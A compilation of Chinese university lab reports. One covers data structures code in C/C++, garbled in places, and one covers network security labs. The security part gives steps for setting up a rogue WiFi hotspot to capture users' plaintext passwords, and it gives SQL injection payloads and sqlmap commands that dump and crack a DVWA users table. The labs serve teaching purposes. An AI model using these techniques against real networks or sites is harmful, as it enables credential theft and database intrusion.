中南大学数据结构实验报告

第一篇：中南大学数据结构实验报告

数据结构实验报告

专业班级：指导老师：余腊生姓

名：学

号：实验一单链表的基本操作的实现

一、实验目的

掌握单链表的基本操作：建立、插入、删除、查找等运算。

二、实验仪器

安装VC++的PC机。

三、实验原理

利用线性表的特性以及其链式存储结构特点对线性表进行相关操作。

四、实验内容

程序中演示了单链表的创建、插入、删除和查找。程序如下：

#include #include #include #include typedef struct node { int data;struct node *next;} NODE;/******************************************/ NODE *Create(){ NODE *p,*head;int x;head=(NODE *)malloc(sizeof(NODE));head->next=NULL;printf(“Input data,-1 to End!n”);

scanf(“%d”,&x);while(x!=-1){ p=(NODE *)malloc(sizeof(NODE));p->data=x;p->next=head->next;head->next=p;scanf(“%d”,&x);} return(head);} /******************************************/ void Output(NODE *head){ NODE *p;p=head;printf(“Begin to dump the LinkList...n”);while(p->next!=NULL){ printf(“->%d”,p->next->data);p=p->next;} printf(“nThe LinkList ended!n”);} /******************************************/ int Listlen(NODE *head){ int i=0;NODE *p=head;while(p->next!=NULL){ i++;p=p->next;} return(i);} /******************************************/ int Get(NODE *head,int i){ int j=0;NODE *p=head;while(p->next&&jnext;} if(!p->next||j>i)return(0);else return(p->data);} /******************************************/ void Del(NODE *head,int i){ NODE *p=head;int j=0;while(p->next&&jnext;} if(!p->next||j>i-1)printf(“the position is wrongn”);else p->next=p->next->next;} /******************************************/ void Ins(NODE *head,int i,int e){ NODE *p=head,*q;int j=0;while(p->next&&jnext;} if(!p->next&&j>i-1)printf(“Wrong positionn”);else { q=(NODE *)malloc(sizeof(NODE));q->data=e;q->next=p->next;p->next=q;} } /******************************************/ main(){ NODE *head;int length;int i,element;system(“CLS”);head=Create();Output(head);length=Listlen(head);printf(“the length of the link is %dn”,length);printf(“input the order :n”);scanf(“%d”,&i);element=Get(head,i);printf(“the element of the order is %dn”,element);printf(“input the del position n”);scanf(“%d”,&i);Del(head,i);Output(head);printf(“Input the insert posion and element:n”);scanf(“%d%d”,&i,&element);Ins(head,i,element);Output(head);getch();}

五、数据记录及处理

1、运行程序,输入下面一组数据: 93 94 12 13 20 14 链表顺序：14 20 13 12 94 93

2、删除第二个数据结点，在第一个位置插入数据20。

运行结果如下: 插入结果：14 13 12 94 93 删除结果：20 14 13 12 94 93 运行结果截图：

实验二栈和队列的实现

一、目的和要求

1.理解队列和栈的顺序存储结构和链式存储结构。通过本实验，熟悉队列、栈的结构特点； 2.熟悉队列、栈结构上的操作与算法的实现。

二、实验内容

1.队列的基本操作和应用。2.栈的基本操作和应用。

三、仪器、设备和材料

1.适合实验要求的计算机系统。2.VＣ++编程平台。

四、实验原理

队列与栈是一种操作受限制的线性表，在了解线性表的基本原理的基础上，理解与完成此项实验。

五、实验步骤

1.采用队列的顺序存储结构。

2.用菜单的形式完成队列的建立，出队，入队等基本操作。3.采用栈的链式存储结构。

4.用菜单的形式完成栈的出栈、入栈等基本操作。

六、程序算法

#include #include #define OVERFLOW-2 #define ERROR 0 #define OK 1 #define MAX 100 //栈的最大值 typedef int SElemType;typedef int QElemType;typedef struct {SElemType *base;

SElemType *top;}SqStack;

SqStack InitStacka()//顺序存储实现栈的初始化 {SqStack S;S.base=(SElemType *)malloc(MAX*sizeof(SElemType));if(!S.base)exit(OVERFLOW);S.top=S.base;return(S);}

void Pusha(SqStack &S,int x)//顺序存储实现栈的入栈操作 {if(S.top-S.base>=MAX)exit(OVERFLOW);*S.top++=x;}

void Popa(SqStack &S)//顺序存储实现栈的出栈操作 {SElemType *p;int x;if(S.top==S.base)return;else {p=S.top;x=*--S.top;printf(“t删除的栈顶元素是%dnt出栈操作完成后的栈为:n”,x);} } void printa(SqStack S)//输出 {SElemType *p;p=S.base;printf(“t”);while(p!=S.top){printf(“%d ”,*(p++));} printf(“n”);}

typedef struct SqNode {SElemType data;SqNode *Link;}*Sqptr,NODE;typedef struct {Sqptr top;}Stack;

Stack InitStackb()//链式存储实现栈的初始化 {Stack S;S.top=(Sqptr)malloc(sizeof(NODE));if(!S.top)exit(OVERFLOW);S.top->Link=NULL;return(S);}

void Pushb(Stack &S,int x)//链式存储实现栈的入栈操作 {Sqptr p;p=(Sqptr)malloc(sizeof(NODE));if(!p)return;p->data=x;p->Link=S.top->Link;S.top->Link=p;}

void Popb(Stack &S)//链式存储实现栈的出栈操作 {int x;Sqptr p;if(S.top->Link==NULL)return;else {p=S.top->Link;

x=p->data;

S.top->Link=p->Link;

printf(“t删除的栈顶元素是%dn”,x);

free(p);} }

typedef struct QNode {QElemType data;struct QNode *next;}*QueuePtr,QNode;typedef struct {QueuePtr front;QueuePtr rear;}LinkQueue;LinkQueue InitQueue()//链式存储实现队列的初始化 {LinkQueue Q;Q.front=Q.rear=(QueuePtr)malloc(sizeof(QNode));if(!Q.front)exit(OVERFLOW);Q.front->next=NULL;

return(Q);} void EnQueue(LinkQueue &Q,QElemType x)//链式存储实现队列的入队 {QueuePtr p;p=(QueuePtr)malloc(sizeof(QNode));if(!p)exit(OVERFLOW);p->data=x;p->next=NULL;Q.rear->next=p;Q.rear=p;} void DeQueue(LinkQueue &Q)//链式存储实现队列的出队 {int x;if(Q.front==Q.rear)return;QueuePtr p;p=Q.front->next;x=p->data;printf(“t删除的队头元素是：%dn”,x);Q.front->next=p->next;if(Q.rear==p)Q.rear=Q.front;free(p);return;}

typedef struct {SElemType *base;int front,rear;}SqQueue;SqQueue InitQueueb()//顺序存储实现队列的初始化 {SqQueue S;S.base=(SElemType *)malloc(MAX*sizeof(SElemType));if(!S.base)exit(OVERFLOW);S.front=S.rear=0;return(S);} void EnQueueb(SqQueue &S,int x)

//顺序存储实现队列的入队 {if((S.rear+1)%MAX==S.front)return;S.base[S.rear]=x;S.rear=(S.rear+1)%MAX;} void DeQueueb(SqQueue &S)//顺序存储实现队列的出队 {int x;if(S.front==S.rear)return;x=S.base[S.front];S.front=(S.front+1)%MAX;printf(“t删除的队头元素是:%dn”,x);} void main(){int choice;int n,x;printf(“nn”);printf(“t1.采用链式存储实现栈的初始化、入栈、出栈操作n”);printf(“t2.采用顺序存储实现栈的初始化、入栈、出栈操作n”);printf(“t3.采用链式存储实现队列的初始化、入队、出队操作n”);printf(“t4.采用顺序存储实现队列的初始化、入队、出队操作n”);printf(“t请选择:”);scanf(“%d”,&choice);switch(choice){case 1:Stack Sa;

printf(“t1.链式存储实现栈的初始化n”);

printf(“t2.链式存储实现栈的入栈操作n”);

printf(“t3.链式存储实现栈的出栈操作n”);

while(1){

printf(“t请选择：”);

scanf(“%d”,&n);

switch(n)

{case 1:Sa=InitStackb();

printf(“t链式存储栈的初始化完成!n”);break;

case 2:printf(“t以'0'结束n”);printf(“t”);

scanf(“%d”,&x);

while(x){

Pushb(Sa,x);scanf(“%d”,&x);}

printf(“t链式存储栈的入栈操作完成!n”);break;

case 3:Popb(Sa);break;}}break;

case 2:SqStack S;

printf(“t1.顺序存储实现栈的初始化n”);

printf(“t2.顺序存储实现栈的入栈操作n”);

printf(“t3.顺序存储实现栈的出栈操作n”);

while(1){

printf(“t请选择:”);

scanf(“%d”,&n);

switch(n)

{ case 1:S=InitStacka();

printf(“t顺序存储栈的初始化完成!n”);break;

case 2:printf(“t以'0'结束n”);

printf(“t”);

scanf(“%d”,&x);

while(x){

Pusha(S,x);

scanf(“%d”,&x);}

printf(“t顺序存储栈的入栈操作完成!n”);

printa(S);break;

case 3:Popa(S);

printa(S);break;}}break;

case 3:LinkQueue Q;

printf(“t1.链式存储实现队的初始化n”);

printf(“t2.链式存储实现队的入栈操作n”);

printf(“t3.链式存储实现队的出栈操作n”);

while(1){

printf(“t请选择：”);

scanf(“%d”,&n);

switch(n)

{

case 1:Q=InitQueue();

printf(“t链式存储队的初始化完成!n”);break;

case 2:printf(“t以'0'结束n”);printf(“t”);scanf(“%d”,&x);

while(x){

EnQueue(Q,x);scanf(“%d”,&x);}

printf(“t链式存储队的入栈操作完成!n”);break;

case 3:DeQueue(Q);break;}}break;

case 4:SqQueue Sv;

printf(“t1.顺序存储实现队的初始化n”);

printf(“t2.顺序存储实现队的入栈操作n”);

printf(“t3.顺序存储实现队的出栈操作n”);

while(1){

printf(“t请选择：”);

scanf(“%d”,&n);

switch(n)

{case 1:Sv=InitQueueb();

printf(“t链式存储栈的初始化完成!n”);break;

case 2:printf(“t以'0'结束n”);printf(“t”);scanf(“%d”,&x);

while(x){

EnQueueb(Sv,x);scanf(“%d”,&x);}

printf(“t链式存储栈的入栈操作完成!n”);break;

case 3: DeQueueb(Sv);break;}}break;} } 程序调试截图：

1.采用链式存储实现栈的初始化、入栈、出栈操作

2.采用顺序存储实现栈的初始化、入栈、出栈操作

3.采用链式存储实现队列的初始化、入队、出队操作

4.采用顺序存储实现队列的初始化、入队、出队操作

七、心得体会

实践才能出真知，在通过了上机操作后，才发现了许多在平时上理论课的时候没有想到的方方面面，编写程序时发现很多语法的错误，以及很多英语单词的记不熟，记错，程序函数错用等等，我想需要在以后多多练习，才能逐步解决这些问题。实验三二叉树的建立和遍历

一、目的和要求

1、了解二叉树的建立的方法及其遍历的顺序，熟悉二叉树的三种遍历

2、检验输入的数据是否可以构成一颗二叉树

二、实验内容

1.二叉树的建立和遍历

三、仪器、设备和材料

1.适合实验要求的计算机系统。2.VＣ++编程平台。

四、实验的描述和算法

1、实验描述

二叉树的建立首先要建立一个二叉链表的结构体，包含根节点和左右子树。因为耳熟的每一个左右子树又是一颗二叉树，所以可以用递归的方法来建立其左右子树。二叉树的遍历是一种把二叉树的每一个节点访问完并输出的过程，遍历时根结点与左右孩子的输出顺序构成了不同的遍历方法，这个过程需要按照不同的遍历的方法，先输出根结点还是先输出左右孩子，可以用选择语句实现。

2、算法

#include #include using namespace std;template struct BinTreeNode

//二叉树结点类定义 { T data;

//数据域

BinTreeNode *leftChild,*rightChild;

//左子女、右子女域

BinTreeNode(T x=T(),BinTreeNode* l =NULL,BinTreeNode* r = NULL)

:data(x),leftChild(l),rightChild(r){}

//可选择参数的默认构造函数 };//-----------template void PreOrder_2(BinTreeNode *p)

//非递归前序遍历 { stack * > S;while(p!=NULL ||!S.empty()){

while(p!=NULL)

{

cout<

data;

//访问根结点

S.push(p);

p=p->leftChild;

//遍历指针进到左子女结点

}

if(!S.empty())

//栈不空时退栈

{

p=S.top();

S.pop();

p = p->rightChild;

//遍历指针进到右子女结点

} } } //--template void InOrder_2(BinTreeNode *p)

//非递归中序遍历 { stack* > S;do {

while(p!=NULL)

//遍历指针未到最左下的结点，不空

{

S.push(p);

p=p->leftChild;

}

if(!S.empty())

//栈不空时退栈

{

p=S.top();

S.pop();

cout<

data;

p=p->rightChild;

} } while(p!=NULL ||!S.empty());}

//----template void PostOrder_2(BinTreeNode *p)//非递归后序遍历 { stack * > S;stack tag;//定义一个新的栈用来保存tag域判别根结点的左右子树是否均遍历过

while(p!= NULL ||!S.empty())

//左子树经过结点加L进栈

{

while(p!=NULL)

{

S.push(p);//首先将t和tag为入栈，遍历左子树

tag.push(0);//遍历左子树前的现场保护

p=p->leftChild;

}

while(!S.empty()&& tag.top()==1)

{

p=S.top();

S.pop();

tag.pop();

cout<

data;//最后访问根结点。

}

if(!S.empty())

{

tag.pop();

tag.push(1);//遍历右子树前的现场保护,修改栈顶tag为，遍历右子树

p=S.top();

// 取栈顶保存的指针

p=p->rightChild;

}

else

break;

} } template void InOrder_1(BinTreeNode * subTree){//递归函数：中序次序遍历以subTree为根的子树。

if(subTree!=NULL)

//NULL是递归终止条件

{

InOrder_1(subTree->leftChild);//中序遍历根的左子树

cout<data;

//访问根结点

InOrder_1(subTree->rightChild);//中序遍历根的右子树

} } template void PreOrder_1(BinTreeNode * subTree){//递归函数：前序遍历以subTree为根的二叉树。if(subTree!=NULL)

//递归结束条件

{

cout<data;//访问根结点

PreOrder_1(subTree->leftChild);

//前序遍历根的左子树

PreOrder_1(subTree->rightChild);

//前序遍历根的右子树

} } template void PostOrder_1(BinTreeNode * subTree){//递归函数：后序次序遍历以subTree为根的子树。

if(subTree!=NULL)

//NULL是递归终止条件

{

PostOrder_1(subTree->leftChild);//后序遍历根的左子树

PostOrder_1(subTree->rightChild);//后序遍历根的右子树

cout<data;

//访问根结点

} } //------------template void CreateBinTree(BinTreeNode * & subTree){//递归方式建立二叉树

T item;

cin>>item;

if(item!=-1)

{

subTree = new BinTreeNode();

if(subTree == NULL)

{

cerr<<“存储分配错！”<

exit(1);

}

subTree->data = item;

CreateBinTree(subTree->leftChild);//递归建立左子树

CreateBinTree(subTree->rightChild);//递归建立右子树

}

else subTree = NULL;

//封闭指向空子树的指针 } int main(){

BinTreeNode * Tree = NULL;cout<<“请输入每个结点，回车确认，并以-1结束：”;CreateBinTree(Tree);

cout<<“先序遍历二叉树结果：”;

PreOrder_1(Tree);

cout<

cout<<“后序遍历二叉树结果：”;

PostOrder_1(Tree);cout<

cout<<“非递归中序遍历二叉树结果：”;InOrder_2(Tree);cout<

3、实验程序运行截图

实验四散列法查找和排序

一、目的和要求

1.用散列法实现顺序查找，折半查找。

二、仪器、设备和材料

1.适合实验要求的计算机系统。2.VＣ++编程平台。

三、实验步骤和程序

1、顺序查找 #include #include #include #define m

#define NULLKEY 0 typedef int KeyType;

/* 假设关键字为整型 */ typedef struct { KeyType key;}RecordType;typedef RecordType HashTable[m];int hash(KeyType k)/*除留余数法构造哈希函数*/ { int h;h = k%m;return h;} int HashSearch(HashTable ht, KeyType K)/*哈希查找*/ { int h0;int i;int hi;h0=hash(K);if(ht[h0].key==NULLKEY)

return(-1);else

if(ht[h0].key==K)

return(h0);

else

/* 用线性探测再散列解决冲突 */

{

for(i=1;i<=m-1;i++)

{

hi=(h0+i)% m;

if(ht[hi].key==NULLKEY)

return(-1);

else

if(ht[hi].key==K)

return(hi);

}

return(-1);

}

} void main(){ int i,j;int n;int p;int hj;int k;int result;HashTable ht;for(i=0;i

ht[i].key = NULLKEY;printf(“请输入哈希表的元素个数:”);scanf(“%d”,&n);for(i=1;i<=n;i++){

printf(“请输入第%d个元素:”,i);

fflush(stdin);

scanf(“%d”,&p);

j = hash(p);

if(ht[j].key == NULLKEY)

ht[j].key = p;

else

{

for(i=1;i<=m-1;i++)

{

hj=(j+i)% m;

if(ht[hj].key==NULLKEY)

{

ht[j].key = p;

}

i = m;

}

} } printf(“请输入要查找的元素:”);fflush(stdin);scanf(“%d”,&k);result = HashSearch(ht,k);if(result ==-1)printf(“未找到!n”);else printf(“元素位置为%dn”,result);system(“pause”);运行结果如下：

2、折半查找

#include #define N 21 void main(void){ int a[N];int i,n,num;int top,bottom,mid;int flag=1;int loc=-1;printf(“你想在多少个数中进行折半查找，请输入(1--20):”);scanf(“%d”,&n);while(n<1||n>20){

printf(“你输入的数不正确，请重新输入:n”);

printf(“你想在多少个数中进行折半查找，请输入(1--20):”);

scanf(“%d”,&n);} printf(“请你输入一个整数a[1]:”);scanf(“%d”,&a[1]);i=2;while(i<=n){

printf(“请你输入一个整数a[%d]:”,i);

scanf(“%d”,&a[i]);

i++;} printf(“n输出表列n”);for(i=1;i<=n;i++){ printf(“%6d”,a[i]);} printf(“n”);printf(“请你输入要查找的数:”);scanf(“%d”,&num);flag=1;top=n;bottom=1;mid=(top+bottom)/2;while(flag){ printf(“top=%d，bottom=%d，mid=%d,a[i]=%dn”,top,bottom,mid,mid,a[mid]);if((num>a[top])||(num

loc=-1;

flag=0;} else if(a[mid]==num){

loc=mid;

printf(“找到数

%6d的位置%2dn”,num,loc);

break;} else if(a[mid]>num){

top=mid-1;

mid=(top+bottom)/2;} else if(a[mid]

bottom=mid+1;

mid=(top+bottom)/2;} } if(loc==-1){ printf(“%d这个数在表列中没有找到。n”,num);} } 运行结果如下：

第二篇：中南大学网络安全实验报告

学生姓名指导教师学院专业班级学号完成时间中南大学

网络安全实验报告

代巍张士庚信息科学与工程学院信安1201班 0909121615 年1２月１５日

2014

实验一 CA证书与SSL连接实验二 WIFI钓鱼实验三 SQL注入攻击

实验四配置和管理主机防火墙

实验一 CA证书与SSL连接

一．实验目的

通过申请、安装数字证书，掌握使用SSL建立安全通信通道的方法。掌握在Windows Server 2003 下独立根CA 的安装和使用。使用WEB 方式申请证书和安装证书。建立SSL 网站。

分析SSL 网站的数据包特点。二．实验原理

SSL协议的工作原理、数字证书的原理

在访问Web 站点时，如果没有较强的安全措施，用户访问的数据是可以使用网络工具捕获并分析出来的。在Web 站点的身份验证中，有一种基本身份验证，要求用户访问输入

用户名和密码时，是以明文形式发送密码的，蓄意破坏安全性的人可以使用协议分析程序破

译出用户名和密码。那我们该如果避免呢？可利用SSL 通信协议，在Web 服务器上启用安

全通道以实现高安全性。

SSL 协议位于TCP/IP 协议与各种应用层协议之间，为数据通讯提供安全支持。SSL 协议可分为两层： SSL 记录协议（SSL Record Protocol）：它建立在可靠的传输协议（如TCP）

之上，为高层协议提供数据封装、压缩、加密等基本功能的支持。SSL 握手协议（SSL Handshake Protocol）：它建立在SSL 记录协议之上，用于在实际的数据传输开始前，通讯双

方进行身份认证、协商加密算法、交换加密密钥等。每一个Windows Server 2003 证书颁发

机构都有可供用户和管理员使用的网页。三．实验环境

虚拟机：Windows Server 2003，Windows XP，Wireshark 抓包软件。四．实验过程

任务一：windows server 2003 环境下独立根CA 的安装及使用

1、windows server 2003 环境下独立根CA 的安装及使用，启动Windows Server 2003 和Windows XP，配臵其IP，使其在同一局域网网段。在Windows Server 2003 中，选择【开始】|【控制面板】|【添加和删除程序】，在弹出窗口中选择【添加和删除windows 组件】，在【组件】列表框中选择【证书服务】，再单击【下一步】按钮，如下图所示。

2、在弹出的窗口中选择【独立根CA】单选按钮，单击【下一步】按钮，在弹出窗口中按要求依次填入CA 所要求的信息，单击【下一步】按钮，如下图所示。

3、继续选择【证书数据库】、【数据库日志】和配臵信息的安装、存放路径，如下图所示，单击【下一步】按钮。安装的时候，可能会弹出如下窗口，为了实验方便，已经把I386 文件夹复制到C:下，选择【浏览】，选择文件夹“C:I386”，点【确定】，完成安装。

4、选择【开始】|【程序】|【管理工具】，可以找到【证书颁发机构】，说明CA 的安装已经完成，如下图所示。

5、从同一局域网中的另外一台XP 开启IE 浏览器，输入http://windows2003 的IP/certsrv/,选中【申请一个证书】，如下图所示，在弹出的页面中选择【web 浏览器证书】。

6、在弹出窗口中填写用户的身份信息，完成后进行【提交】。此种情况下，IE 浏览器采用

默认的加密算法生成公钥对，私钥保存在本地计算机中，公钥和用户身份信息按照标准的格式发给CA 服务器，如图所示,单击【是】，进入下一步。CA 服务器响应后，弹出证书申请成功页面，如下图所示。

7、在根CA 所在的计算机上，选择【开始】|【程序】|【管理工具】|【证书颁发机构】，上面申请的证书便会出现在窗口右边，选择证书单击右键，选择【所有任务】|【颁发】，进行证书颁发，如下图所示。证书颁发后将从【挂起的申请】文件夹转入【颁发的证书】文件夹中，表示证书颁发完成。

8、在申请证书的计算机上打开IE，输入http://windows2003 的IP/certsrv/，进入证书申请页面，选择【查看挂起的证书申请状态】，弹出的页面中选择一个已经提交的证书申请，如下图所示。选择安装此证书。

9、现在验证此CA 系统颁发的新证书是否可信，为此需要安装CA 系统的根证书，进入证书申请主页面，选择当前的CA 证书进行下载，并保存到合适路径，如下图所示。

10、下载完毕之后，在证书的保存目录中查看证书信息，单击【安装证书】按钮，进入证书导入向导，按照默认的配臵完成证书的导入，导入成功后，单击【确定】按钮，之后完成。

任务二：基于Web的SSL连接设臵

1、在XP 中，左下角【开始】，打开【Wireshark】，并点击开始抓包的按钮。打开IE 浏览器，输入网址http://windows2003 的IP/?id=1(比如：http://192.168.1.130/?id=1)，然后保存Wireshark的抓包结果1。

2、选择【开始】|【程序】|【管理工具】|【IIS（Internet 信息服务）管理器】，在弹出窗口右键单击【默认网站】，弹出的快捷菜单中选择【属性】选项。

3、在弹出窗口内选择【目录安全性】标签，单击【安全通信】中的【服务器证书】按钮，如下图所示。

4、弹出【IIS 证书向导】窗口，选中【新建证书】复选项，一直单击【下一步】按钮，输入自定义的名称，如下图所示。填写相应的信息后，单击【下一步】按钮。

5、弹出【请求文件摘要】窗口，确认后单击【下一步】按钮，接着单击【完成】按钮，完成服务器端证书配臵，如下图所示

6、打开IE 浏览器（windows2003 中的），进入证书申请主界面，如下图所示。

7、在出现的网页中选择【高级证书申请】，如图所示，在出现的网页中单击第二个选项【base64编码】。打开刚才IIS 证书向导生成的请求文件，（默认路径C:certreq.txt），复制并粘贴文件内容到第一个文本框，如下图所示，单击【提交】按钮，转到完成提交后的页面。

8、回到首页，选择【查看挂起的证书申请状态】，弹出的页面中选择一个已经提交的证书申请，如下图所示。选择【Base 64 编码】，点击【下载证书】，【保存】certnew.cer 文件到桌面。

9、选择【开始】|【程序】|【管理工具】|【IIS（Internet 信息服务）管理器】，在弹出窗口右键单击【默认网站】，弹出的快捷菜单中选择【属性】选项，在弹出窗口内选择【目录安全性】标签，选择【服务器证书】，选择【下一步】，【处理挂起的请求并安装证书】选择【下一步】，【浏览】选择刚才保存的certnew.cer 文件，如下图所示。【下一步】【下一步】【完成】。

10、还是在【目录安全性】下，选择【安全通信】下的【编辑】，在下如图所示的弹出窗口中选中【要求安全通道（SSL）】复选项，并在【客户端证书】栏中选中【接受客户端证书】复选项，再单击【确定】按钮。返回【目录安全性】面板，单击【应用】按钮及【确定】按钮，完成配臵。

11、在XP 系统打开浏览器，输入服务器IP 地址，进入证书申请主页面，此时会显示错误信息页面，要求采用https 的方式连接服务器，如图所示。

12、把http 改成https 继续访问，此时浏览器提示你要安装证书，安装完证书后，就可以正常使用了。、再次打开Wireshark，并点击开始抓包的按钮。打开IE 浏览器，输入网址https://windows2003 的IP/?id=1(比如：https://192.168.1.130/?id=1)，然后保存Wireshark 的抓包结果2。

14、分析比较抓包结果1 和抓包结果2 中，对IP/?id=1 请求处理的差异。

五、实验感想

至此，我完成了整个数字证书的安装和使用实验。通过本次实验我学会了SSL协议的工作原理，同时了解到了CA证书的颁发机制。

任何一个安全性系统整体性设计，都离不开数字证书的加密，可以想象加密机制对信息安全的重要性。

需要说明的是，尽管SSL能提供实际不可破译的加密功能，但是SSL安全机制的实现会大大增加系统的开销，增加了服务器CPU的额外负担，使得SSL加密传输的速度大大低于非加密传输的速度。因此，为了防止整个Web网站的性能下降，可以考虑只把SSL安全机制用来处理高度机密的信息，例如提交包含信用卡信息的表格。

实验二 WIFI钓鱼

一．实验目的

1、通过实际测试，模拟入侵者利用wifi抓包来窃取用户数据的过程。掌握整个过程中的原理，数据分析等。

2、掌握抓包软件的使用。二．实验原理

在一个可控的网络环境里，劫持数据有很多方法。比较有名的网络层抓包工具有wireshark，tcpdump，都是很好的网络协议分析工具。我们现在手机上的大多数APP应用层都是使用的HTTP协议，因此我们很多的在web安全测试里面用到的分析工具如fiddler，burp，httpanalyzer，Charles等也都是可以用来分析或者劫持APP的通信流。

用户手机里的app默认会进行很多敏感的请求，手机会自动去登陆和获取最新的信号；如果手机默认会链接周围已经被保存sid的wifi；通过内臵最常见的sid和信息，入侵者可以使得周围的人会自动链接上入侵者假设好的wifi，通过抓取相应的数据取得里面的敏感信息，理论上是可以劫持用户的相关密码信息的。三．实验环境

带有无线网卡的笔记本电脑，Wireshark 抓包软件，智能手机。四．实验过程步骤一共享WIFI 工具：电脑、WIN7 系统、无线网卡步骤

1.开始菜单-->命令提示符(cmd)-->右键，以管理员身份运行

2.运行以下命令启用虚拟网卡>netsh wlan set hostednetwork mode=allow ssid=(这里写无线网名字)key=(这里是密码)

3.网络共享中心-->更改高级适配器设臵-->右键已连接到Internet 的网络连接-->属性-->切换

到“共享”选项卡，选中其中的复选框，并选择允许其共享Internet 的网络连接，这里即我们的虚拟WIFI 网卡

4.开启无线网络，继续在命令提示符中运行以下命令:>netsh wlan start hostednetwork即可开启我们之前设臵好的无线网络（相当于打开路由器的无线功能）

步骤二WIFI 钓鱼工具：其他笔记本或手机、Wareshark 步骤

1.搜索到刚刚设臵的WIFI：dave，连接上（密码为刚刚设臵的key:12345678）2.在笔记本上打开wareshark，选择capture-->interfaces

3.选择Packets 最多的项，点击start 按钮

4.在手机或笔记本上打开中南大学邮箱网站:http://mail.csu.edu.cn/,在主机上用wareshark 捕捉http 的包（这里大家可以自由实验，能监控到连接到该WIFI 的机器的所有包的情况）

5.在手机或笔记本上输入用户名和密码，点击登录

6.在主机上用wareshark 捕捉到刚刚post 提交的http 包，右键选择Follow tcp stream

7.可以看到刚刚提交的用户名和密码，且是未经过加密的

五、实验感想

通过这次实验，我实际地模拟了一次入侵者通过假设钓鱼WIFI网络，来窃取连接此网络的用户的密码信息过程。整个过程中我成功地完成了对各种用户数据抓包，并分析出用户密码。

这让我对wifi网络产生了新的看法，我意识到了链接wifi网络过程当中存在很多安全隐患，如果被图谋不轨的人利用到，一旦泄露商业机密等重要信息，势必会产生重大的经济损失。

随着人们的生活越来越离不开网络，也越来越离不开移动手机，一般的公共厂商都已经将wifi作为基础服务进行提供，譬如在星巴克、麦当劳等公共场所边点杯热饮边“蹭网”，已经是一个基本的习惯了，甚至一些大型的电信提供商已经尝试将wifi作为一个基础的接入。如今公共的wifi很多，尤其是免费的，手机上还有帮助寻找免费wifi的各类app。很多人为了省流量，看到免费的wifi，总会去连接一下尝试网上冲浪。不过，在这些免费的wifi以及大家使用wifi的习惯，加上手机及app的默认行为，就可以导致一些严重安全问题。

实验三 SQL注入攻击

一．实验目的

是了解sql注入攻击的原理，掌握网站的工作机制，认识到SQL注入攻击的防范措施，加强对Web攻击的防范。

二．实验原理

SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序，而这些输入大都是SQL语法里的一些组合，通过执行SQL语句进而执行攻击者所要的操作，其主要原因是程序没有细致地过滤用户输入的数据，致使非法数据侵入系统。

根据相关技术原理，SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配臵或数据库平台的漏洞所致；后者主要是由于程序员对输入未进行细致地过滤，从而执行了非法的数据查询。

三．实验环境

虚拟机WindowsXP系统、Windows2003系统。dvwa(Dam Vulnerable Web Application)工具，sqlmap SQL注入工具、四．实验过程

【实验一：dvwa手动sql注入】

1、连接好虚拟机拓扑图，配臵WindowsXP Client和Windows XP Server的IP使其在同一个局域网网段。

2、打开Server端的xampp，启动apache和mysql。打开Client的浏览器，访问Server的IP/dvwa，如“192.168.1.32/dvwa”，登陆账户为admin，密码为password

3、选择SQLInjection，点击右下角的ViewSource，查看PHP源代码。

4、正常测试，输入“1”，得到正常结果，如下所示。

5、当将输入变为“'”时，页面提示错“YouhaveanerrorinyourSQLsyntax;checkthemanualthatcorrespondstoyourMySQLserverversionfortherightsyntaxtousenear'''''atline1”，结果如图。看到这个结果，可以知道，这个表单存在着注入漏洞。

6、尝试输入：“1’or 1=1–”注意“--”后面有空格！此时成功进行sql注入。

7、测试查询信息列数。利用语句order by num。这里输入“ 1'order by 1--” 结果页面正常显示，注意--后面有空格。继续测试，“ 1'order by 2--”,“ 1'order by 3--”，当输入3是，页面报错。页面错误信息如下，Unknown column '3' in 'order clause'，由此查询结果值为2列。

8、尝试注入“1' and 1=2 union select 1,2--”，从而得出First name处显示结果为查询结果第一列的值，surname处显示结果为查询结果第二列的值，利用内臵函数user(),及database()，version()注入得出连接数据库用户以及数据库名称：“1' and 1=2 union select user(),database()--”。

9、选择DVWA Security，将安全级别分别设臵为中、高。再运行上面的实验sql语句，结合右下角的ViewSource，分析三种等级的代码和sql注入效果有何区别。在安全级别分别设臵为低时，结合PHP源代码，考虑不采用“--”的情形下，完成sql注入，写出sql注入语句。

【实验二：sqlmap测试dvwa】

1、打开Server端的xampp，启动apache和mysql。打开Client的浏览器，访问Server的IP/dvwa，如“192.168.1.32/dvwa”，登陆账户为admin，密码为password。选择DVWA Security，将安全级别分别设臵为低。

2、选择XSS reflected，输入“alert(document.cookie)”，获取登陆系统后的cookie值，截图保存cookie值。

3、使用sqlmap查找注入点，打开Client端的控制台窗口，转到目录“C:Python27sqlmap”，输入以下命令，注意！“192.168.1.32”表示Server的IP，“security=low;PHPSESSID=tvitu9mog097jl4ctfsqhbs9o6”表示上一步所获得的cookie值，请同学们按照实际环境填写相应的值！“sqlmap.py-u http://192.168.1.32/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit--cookie=“security=low;PHPSESSID=tvitu9mog097jl4ctfsqhbs9o6””。

依据以下信息，得到可能的注入点是id，数据库是mysql。

[INFO] heuristic(basic)test shows that GET parameter 'id' might be injectable(possible DBMS: 'MySQL')

[INFO] GET parameter 'id' is 'MySQL UNION query(NULL)-1 to 20 columns' injectable

4、输入“sqlmap.py-u “http://192.168.1.32/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=tvitu9mog097jl4ctfsqhbs9o6”--current-db”得到当前数据库名。

current database: 'dvwa'

5、输入“sqlmap.py-u “http://192.168.1.32/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=tvitu9mog097jl4ctfsqhbs9o6”--current-db--tables-Ddvwa”得到数据库所有表。

6、输入“sqlmap.py-u “http://192.168.1.32/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=tvitu9mog097jl4ctfsqhbs9o6”-T users--columns”得到user表的所有列。

7、输入“sqlmap.py-u “http://192.168.1.32/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=tvitu9mog097jl4ctfsqhbs9o6”-T users--dump”得到user表的所有列，在sqlmap询问时候破解密码时，选择是，sqlmap会使用自己的字典来破解密码，得到5个用户的密码。此时就完成了利用sqlmap进行“拖库”的基本步骤。五．实验感想

